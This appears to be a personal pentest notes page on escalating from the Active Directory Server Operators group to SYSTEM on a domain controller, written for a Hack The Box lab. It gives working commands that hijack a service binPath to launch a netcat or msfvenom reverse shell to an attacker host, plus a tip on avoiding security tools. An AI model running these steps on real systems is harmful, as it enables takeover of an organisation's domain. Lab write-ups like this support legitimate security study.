Haiyahhh Hack Vault

Active Directory - Server Operators Group Abuse

3 min read

🧠 Active Directory - Server Operators Group Abuse

What is it?

  • Concept: Server Operators is a built-in AD group (well-known SID S-1-5-32-549) meant to let helpdesk-tier accounts manage services, shares, and server maintenance on domain controllers without being full Domain Admins.
  • Impact: Full SYSTEM code execution on the domain controller — for a DC, that’s equivalent to Domain Admin.

How it works

Members of Server Operators can reconfigure, start, and stop Windows services on the DC. That right is granted at the Service Control Manager level — by default, SCM lets Server Operators (and Administrators) manage any service that hasn’t been specially hardened against it, regardless of whether that service’s own security descriptor mentions the group. This is why grepping an individual service’s SDDL (sc.exe sdshow <service>) for the group’s SID — or its SDDL alias SO — usually finds nothing: the permission isn’t expressed there.

Since every Windows service runs its configured binary at whatever privilege level the service itself runs at (frequently NT AUTHORITY\SYSTEM), pointing a service’s binPath at an attacker-controlled executable and then (re)starting it gets that executable run as SYSTEM.

Exploitation

Prerequisites

  • Authenticated session (e.g. WinRM) as a user in Server Operators — confirm with net user <account> and check Local Group Memberships

Finding a usable service

Don’t rely on SDDL text-matching — check real, current write access instead. Try reconfiguring a candidate service directly and read the result:

sc.exe config <service_name> binPath="C:\Windows\System32\cmd.exe"

ChangeServiceConfig SUCCESS confirms write access; Access is denied means that particular service is locked down further and to try another one. Commonly-writable defaults include VMTools (VMware Tools, present on most virtualized labs/HTB boxes) — deliberately hardened services like TrustedInstaller or Defender’s Sense are the exception, not the rule.

Method 1: Netcat binary hijack

upload nc64.exe
sc.exe config VMTools binPath="C:\Users\<user>\Documents\nc64.exe -e cmd.exe <attacker_ip> <port>"
sc.exe stop VMTools
sc.exe start VMTools
nc -nvlp <port>

Method 2: msfvenom reverse shell

msfvenom -p windows/x64/shell/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f exe > shell.exe
upload shell.exe
sc.exe config VMTools binPath="C:\Users\<user>\Documents\shell.exe"
sc.exe stop VMTools
sc.exe start VMTools

Catch it with multi/handler (set PAYLOAD windows/x64/shell/reverse_tcp) — useful when a plain netcat shell keeps dying and a migratable Meterpreter session is preferred.

Notes

  • Restore a hijacked service’s original binPath afterward if operating under any “leave it as you found it” constraint — the sc.exe config change persists across reboots.
  • A shell spawned this way dies with the service process — if it’s flaky, use Method 2 and migrate out of the payload process once it lands.
  • Avoid hijacking security-software services (Defender’s WinDefend/WdNisSvc, EDR agents) even if they report writable — modifying them is likely to trigger the very software you’re tampering with.

Mitigation

  • Fix: Don’t add accounts to Server Operators (or any built-in privileged group) unless the delegated task genuinely requires it. Restrict privileged account access to trusted individuals, enforce strong/rotated passwords with MFA on any account holding this membership, apply role-based access control instead of broad built-in groups, and audit group membership and service reconfiguration events regularly.
FileCreated
HTB - ReturnWednesday, July 22nd 2026, 2:55:00 am

References:

Graph View

Backlinks